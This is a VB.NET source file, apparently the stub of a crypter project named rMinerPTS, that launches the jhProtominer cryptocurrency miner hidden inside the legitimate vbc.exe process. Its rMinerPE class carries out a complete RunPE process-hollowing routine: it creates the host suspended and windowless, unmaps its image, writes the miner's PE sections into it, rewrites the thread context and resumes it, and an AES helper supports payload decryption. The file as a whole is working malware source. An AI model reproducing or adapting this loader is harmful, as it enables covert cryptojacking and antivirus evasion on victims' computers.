crypters-scode/scode (rMinerPTS/rMinerPTS/Source/Stub_edit.vb

Option Strict On

Imports System.Reflection

Module Stub_edit

    Sub main()

        Dim r As New Resources.ResourceManager("rMine", Assembly.GetExecutingAssembly())
        Dim bytes As Byte() = DirectCast(r.GetObject("rMiner"), Byte())


        rMinerPE.Create(IO.File.ReadAllBytes("D:\Projekte\RunPE testing\RunPE testing\jhProtominer.exe"), System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory() & "vbc.exe", "%ARGS%")
    End Sub

    Public Function AESDecrypt(ByVal input As String, ByVal pass As String) As String
        Dim AES As New System.Security.Cryptography.RijndaelManaged
        Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
        Dim decrypted As String = ""
        Try
            Dim hash(31) As Byte
            Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
            Array.Copy(temp, 0, hash, 0, 16)
            Array.Copy(temp, 0, hash, 15, 16)
            AES.Key = hash
            AES.Mode = Security.Cryptography.CipherMode.ECB
            Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor
            Dim Buffer As Byte() = Convert.FromBase64String(input)
            decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
            Return decrypted
        Catch ex As Exception
        End Try
    End Function

    Function getCores() As String
        Dim i As Integer
        i = CInt(Environment.ProcessorCount / 2)
        Dim s As String = " " & CStr(i)
        Return s
    End Function
End Module

Public NotInheritable Class rMinerPE
    Private Sub New()
    End Sub
    Public Shared Function Create(ByVal exeBuffer As Byte(), ByVal hostProcess As String, Optional ByVal optionalArguments As String = "", Optional ByVal Debug As Boolean = False) As Boolean
        Dim IMAGE_SECTION_HEADER As Byte() = New Byte(39) {}

        Dim IMAGE_NT_HEADERS As Byte() = New Byte(247) {}

        Dim IMAGE_DOS_HEADER As Byte() = New Byte(63) {}

        Dim PROCESS_INFO As Integer() = New Integer(3) {}

        Dim CONTEXT As Byte() = New Byte(715) {}

        Buffer.BlockCopy(BitConverter.GetBytes(CONTEXT_FULL), 0, CONTEXT, 0, 4)


        Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length)



        If BitConverter.ToUInt16(IMAGE_DOS_HEADER, 0) <> IMAGE_DOS_SIGNATURE Then
            Return False
        End If

        Dim e_lfanew As Int32 = BitConverter.ToInt32(IMAGE_DOS_HEADER, &H3C)


        Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length)

        If BitConverter.ToUInt32(IMAGE_NT_HEADERS, 0) <> IMAGE_NT_SIGNATURE Then
            Return False
        End If

        If Not String.IsNullOrEmpty(optionalArguments) Then
            hostProcess += " " & optionalArguments
        End If

        If Debug Then
            If Not CreateProcess(Nothing, hostProcess, IntPtr.Zero, IntPtr.Zero, False, CREATE_SUSPENDED, _
                IntPtr.Zero, Nothing, New Byte(67) {}, PROCESS_INFO) Then
                Return False
            End If
        Else
            If Not CreateProcess(Nothing, hostProcess, IntPtr.Zero, IntPtr.Zero, False, CREATE_NO_WINDOW + CREATE_SUSPENDED, _
                IntPtr.Zero, Nothing, New Byte(67) {}, PROCESS_INFO) Then
                Return False
            End If
        End If


        Dim ImageBase As IntPtr = New IntPtr(BitConverter.ToInt32(IMAGE_NT_HEADERS, &H34))

        NtUnmapViewOfSection(CType(PROCESS_INFO(0), IntPtr), ImageBase)

        If VirtualAllocEx(CType(PROCESS_INFO(0), IntPtr), ImageBase, BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H50), MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE) = IntPtr.Zero Then
            Create(exeBuffer, hostProcess, optionalArguments)
        End If

        NtWriteVirtualMemory(CType(PROCESS_INFO(0), IntPtr), ImageBase, System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(exeBuffer, 0), BitConverter.ToUInt32(IMAGE_NT_HEADERS, 84), IntPtr.Zero)

        For i As UShort = 0 To CUShort(BitConverter.ToUInt16(IMAGE_NT_HEADERS, &H6) - 1)

            Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length)

            Dim ptp As IntPtr = System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(exeBuffer, CInt(BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &H14)))

            NtWriteVirtualMemory(CType(PROCESS_INFO(0), IntPtr), CType(CInt(ImageBase) + BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &HC), IntPtr), ptp, BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &H10), IntPtr.Zero)
        Next


        NtGetContextThread(CType(PROCESS_INFO(1), IntPtr), System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0))

        Dim ti1 As Integer = CInt(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + &HAC

        NtWriteVirtualMemory(CType(PROCESS_INFO(0), System.IntPtr), CType(ti1, System.IntPtr), ImageBase, &H4, System.IntPtr.Zero)

        Dim ti2 As Integer = CInt(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + &HB0
        'OLD NtWriteVirtualMemory(CType(PROCESS_INFO(0), System.IntPtr), CType(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0) + &HAC, System.IntPtr), ImageBase, &H4, System.IntPtr.Zero)
        System.Runtime.InteropServices.Marshal.Copy(BitConverter.GetBytes(CUInt(ImageBase) + BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H28)), 0, CType(ti2, IntPtr), 4)
        'OLD System.Runtime.InteropServices.Marshal.Copy(BitConverter.GetBytes(CUInt(ImageBase) + BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H28)), 0, CType(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0) + &HB0, IntPtr), 4)

        NtSetContextThread(CType(PROCESS_INFO(1), IntPtr), System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0))

        NtResumeThread(CType(PROCESS_INFO(1), IntPtr), IntPtr.Zero)

        Return True
    End Function


    Private Const CONTEXT_FULL As UInteger = &H10007
    Private Const CREATE_SUSPENDED As Integer = &H4
    Private Const CREATE_NO_WINDOW As Integer = &H8000000
    Private Const MEM_COMMIT As Integer = &H1000
    Private Const MEM_RESERVE As Integer = &H2000
    Private Const PAGE_EXECUTE_READWRITE As Integer = &H40
    Private Const IMAGE_DOS_SIGNATURE As UShort = &H5A4D

    Private Const IMAGE_NT_SIGNATURE As UInteger = &H4550

    <System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError:=True)> _
    Private Shared Function CreateProcess(ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As IntPtr, ByVal lpThreadAttributes As IntPtr, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As UInteger, _
  ByVal lpEnvironment As IntPtr, ByVal lpCurrentDirectory As String, ByVal lpStartupInfo As Byte(), ByVal lpProcessInfo As Integer()) As Boolean
    End Function

    <System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError:=True)> _
    Private Shared Function VirtualAllocEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As UInteger, ByVal flAllocationType As UInteger, ByVal flProtect As UInteger) As IntPtr
    End Function

    <System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
    Private Shared Function NtUnmapViewOfSection(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr) As UInteger
    End Function

    <System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
    Private Shared Function NtWriteVirtualMemory(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As IntPtr, ByVal nSize As UInteger, ByVal lpNumberOfBytesWritten As IntPtr) As Integer
    End Function

    <System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
    Private Shared Function NtGetContextThread(ByVal hThread As IntPtr, ByVal lpContext As IntPtr) As Integer
    End Function

    <System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
    Private Shared Function NtSetContextThread(ByVal hThread As IntPtr, ByVal lpContext As IntPtr) As Integer
    End Function

    <System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
    Private Shared Function NtResumeThread(ByVal hThread As IntPtr, ByVal SuspendCount As IntPtr) As UInteger
    End Function
End Class